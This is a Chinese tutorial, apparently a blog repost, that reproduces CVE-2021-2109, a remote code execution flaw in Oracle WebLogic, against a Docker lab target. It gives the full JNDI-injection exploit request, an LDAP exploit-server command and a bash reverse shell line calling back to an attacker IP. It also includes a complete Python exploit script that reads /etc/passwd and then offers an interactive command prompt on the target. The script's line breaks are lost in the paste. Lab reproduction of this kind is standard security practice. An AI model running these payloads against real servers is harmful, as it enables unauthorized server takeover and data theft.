本文主要是介绍复现CVE-2021-2109 (Weblogic Server远程代码执行漏洞),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
一、漏洞介绍
2021年1月20日,Oracle官方发布了漏洞补丁,修了包括 CVE-2021-2109 Weblogic Server远程代码执行漏洞在内的多个高危严重漏洞。CVE-2021-2109 中,攻击者可构造恶意请求,造成JNDI注入,执行任意代码,从而控制服务器。
二、影响版本
- WebLogic 3.6.0.0
- WebLogic 1.3.0.0
- WebLogic 2.1.3.0
- WebLogic 2.1.4.0
漏洞判别方式:http://x.x.x.x:7001/console/css/%252e%252e%252f/consolejndi.portal
三、环境搭建
Vulfocus 靶场环境
目前 Vulfocus 已经集成多个 Weblogic 环境,可通过以下链接启动环境测试:
vulfocu
也可通过以下命令拉取本地环境运行:
docker pull vulfocus/weblogic-cve_2021_2109:latest
docker run -d -p 49163:7001 -p 49164:7002 -p 49165:5556 vulfocus/weblogic-cve_2021_2109:latestt
最后访问x.x.x.x:7001/console,如下说明环境搭建成功 :
四、漏洞复现
复现方式一——命令执行
1.下载LDAP工具,地址:JNDIExploit-v1.13-网络攻防文档类资源-CSDN下载
注:运行ldap需要java1.8环境,执行java -version查看jdk版本
java -jar JNDIExploit-1.3-SNAPSHOT.jar -i 攻击机的ip
2. 抓包,payload后面加入poc,然后再在请求包头部里面加入cmd:id(命令),如下图所示:
poc如下:
_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://x.x.x;x:1389/Basic/WeblogicEcho;AdminServer%22)
复现成功!
复现方式二——反弹shell值
1. 将上面请求头中cmd字段的值改为反弹shell的语句,进行编码,网址:java.lang.Runtime.exec() Payload Workarounds - @Jackson_T
bash -i >& /dev/tcp/xx.xx.xx.xx/6666 0>&1
2.攻击机开始监听
3.将上面抓到的包cmd字段的值改为反弹shell的语句,进行发包
复现成功!
五、POC漏洞检测——(前提条件跳板机必须运行运行ldap环境才行)
import requests
import sys
import re
requests.packages.urllib3.disable_warnings()
from requests.packages.urllib3.exceptions import InsecureRequestWarningdef title():print('+------------------------------------------')print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m')print('+ \033[34mGithub : https://github.com/PeiQi0 \033[0m')print('+ \033[34m公众号 : PeiQi文库 \033[0m')print('+ \033[34mVersion: Weblogic 多个版本 \033[0m')print('+ \033[36m使用格式: python3 poc.py \033[0m')print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m')print('+ \033[36mLDAP >>> ldap://xxx.xxx.xxx;xxx:1389 \033[0m')print('+------------------------------------------')def POC_1(target_url, ldap_url, cmd):vuln_url = target_url + "/console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22{}/Basic/WeblogicEcho;AdminServer%22)".format(ldap_url)print('\033[36m[o] 正在请求: {}'.format(vuln_url))headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36","cmd": cmd}try:response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)if "root:" in response.text:print("\033[32m[o] 目标{}存在漏洞 \033[0m".format(target_url))print("\033[32m[o] 响应为:\n{} \033[0m".format(response.text))else:print("\033[31m[x] 命令执行失败 \033[0m")sys.exit(0)except Exception as e:print("\033[31m[x] 请检查参数和Ldap服务是否正确 \033[0m", e)def POC_2(target_url, ldap_url, cmd):vuln_url = target_url + "/console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22{}/Basic/WeblogicEcho;AdminServer%22)".format(ldap_url)print('\033[36m[o] 正在请求: {}'.format(vuln_url))headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36","cmd": cmd}try:response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)print("\033[32m[o] 响应为:\n{} \033[0m".format(response))except Exception as e:print("\033[31m[x] 请检查参数和Ldap服务是否正确 \033[0m", e)if __name__ == '__main__':title()target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))ldap_url = str(input("\033[35mLdap >>> \033[0m"))POC_1(target_url, ldap_url, cmd="cat /etc/passwd")while True:cmd = input("\033[35mCmd >>> \033[0m")if cmd == "exit":sys.exit(0)else:POC_2(target_url, ldap_url, cmd)
输出结果:
复现成功!
这篇关于复现CVE-2021-2109 (Weblogic Server远程代码执行漏洞)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!